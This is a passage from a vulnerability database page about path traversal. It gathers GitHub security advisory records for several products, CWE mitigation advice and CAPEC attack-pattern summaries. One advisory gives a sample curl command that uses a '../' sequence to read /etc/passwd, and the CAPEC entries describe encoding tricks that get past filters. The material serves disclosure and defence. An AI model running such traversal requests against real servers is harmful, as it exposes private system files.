"id": "GHSA-7c8r-v4x3-jvvm",
"modified": "2026-04-01T18:35:13Z",
"published": "2025-05-19T21:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32926"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/theme/grandrestaurant/vulnerability/wordpress-grand-restaurant-wordpress-theme-7-0-path-traversal-to-php-object-injection-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7C9W-2W99-HRRM
Vulnerability from github – Published: 2022-05-24 17:38 – Updated: 2022-05-24 17:38A directory traversal vulnerability in the Markdown engine of Gotenberg through 6.2.1 allows an attacker to read any container files.
{
"affected": [],
"aliases": [
"CVE-2020-13449"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-01-07T22:15:00Z",
"severity": "HIGH"
},
"details": "A directory traversal vulnerability in the Markdown engine of Gotenberg through 6.2.1 allows an attacker to read any container files.",
"id": "GHSA-7c9w-2w99-hrrm",
"modified": "2022-05-24T17:38:10Z",
"published": "2022-05-24T17:38:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-13449"
},
{
"type": "WEB",
"url": "https://github.com/thecodingmachine/gotenberg/issues/199"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/160744/Gotenberg-6.2.0-Traversal-Code-Execution-Insecure-Permissions.html"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-7C9W-QMRQ-FF8R
Vulnerability from github – Published: 2019-02-07 18:14 – Updated: 2020-08-31 18:35Versions of http-live-simulator prior to 1.0.7 are vulnerable to Path Traversal. Due to insufficient input sanitization, attackers can access server files by using relative paths. For example: curl --path-as-is http://localhost:8080//../../../../etc/passwd.
Recommendation
Upgrade to version 1.0.7
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "http-live-simulator"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-16479"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T21:22:23Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "Versions of `http-live-simulator` prior to 1.0.7 are vulnerable to Path Traversal. Due to insufficient input sanitization, attackers can access server files by using relative paths. For example: `curl --path-as-is http://localhost:8080//../../../../etc/passwd`.\n\n\n## Recommendation\n\nUpgrade to version 1.0.7",
"id": "GHSA-7c9w-qmrq-ff8r",
"modified": "2020-08-31T18:35:12Z",
"published": "2019-02-07T18:14:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-16479"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/411405"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-7c9w-qmrq-ff8r"
},
{
"type": "WEB",
"url": "https://github.com/nodejs/security-wg/blob/master/vuln/npm/486.json"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/772"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Path Traversal in http-live-simulator"
}
GHSA-7CFM-R6GG-C84J
Vulnerability from github – Published: 2022-05-17 03:34 – Updated: 2022-05-17 03:34Multiple directory traversal vulnerabilities in pigz 2.3.1 allow remote attackers to write to arbitrary files via a (1) full pathname or (2) .. (dot dot) in an archive.
{
"affected": [],
"aliases": [
"CVE-2015-1191"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-01-21T18:59:00Z",
"severity": "MODERATE"
},
"details": "Multiple directory traversal vulnerabilities in pigz 2.3.1 allow remote attackers to write to arbitrary files via a (1) full pathname or (2) .. (dot dot) in an archive.",
"id": "GHSA-7cfm-r6gg-c84j",
"modified": "2022-05-17T03:34:22Z",
"published": "2022-05-17T03:34:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-1191"
},
{
"type": "WEB",
"url": "https://github.com/madler/pigz/commit/fdad1406b3ec809f4954ff7cdf9e99eb18c2458f"
},
{
"type": "WEB",
"url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=774978"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-updates/2016-03/msg00013.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-updates/2016-03/msg00017.html"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2015/01/18/3"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/72109"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-7CFQ-72W2-24Q4
Vulnerability from github – Published: 2023-09-21 06:30 – Updated: 2023-09-25 13:55web\ViewAction in Yii (aka Yii2) 2.x before 2.0.5 allows attackers to execute any local .php file via a relative path in the view parameeter.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "yiisoft/yii2"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.0.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2015-5467"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-98"
],
"github_reviewed": true,
"github_reviewed_at": "2023-09-21T16:55:31Z",
"nvd_published_at": "2023-09-21T06:15:10Z",
"severity": "CRITICAL"
},
"details": "web\\ViewAction in Yii (aka Yii2) 2.x before 2.0.5 allows attackers to execute any local .php file via a relative path in the view parameeter.",
"id": "GHSA-7cfq-72w2-24q4",
"modified": "2023-09-25T13:55:19Z",
"published": "2023-09-21T06:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-5467"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/yiisoft/yii2-dev/CVE-2015-5467.yaml"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/yiisoft/yii2/CVE-2015-5467.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/yiisoft/yii2-framework"
},
{
"type": "WEB",
"url": "https://www.yiiframework.com/news/87/yii-2-0-5-is-released-security-fix"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Yii2 allows attackers to execute any local .php file via a relative path in the view parameter"
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.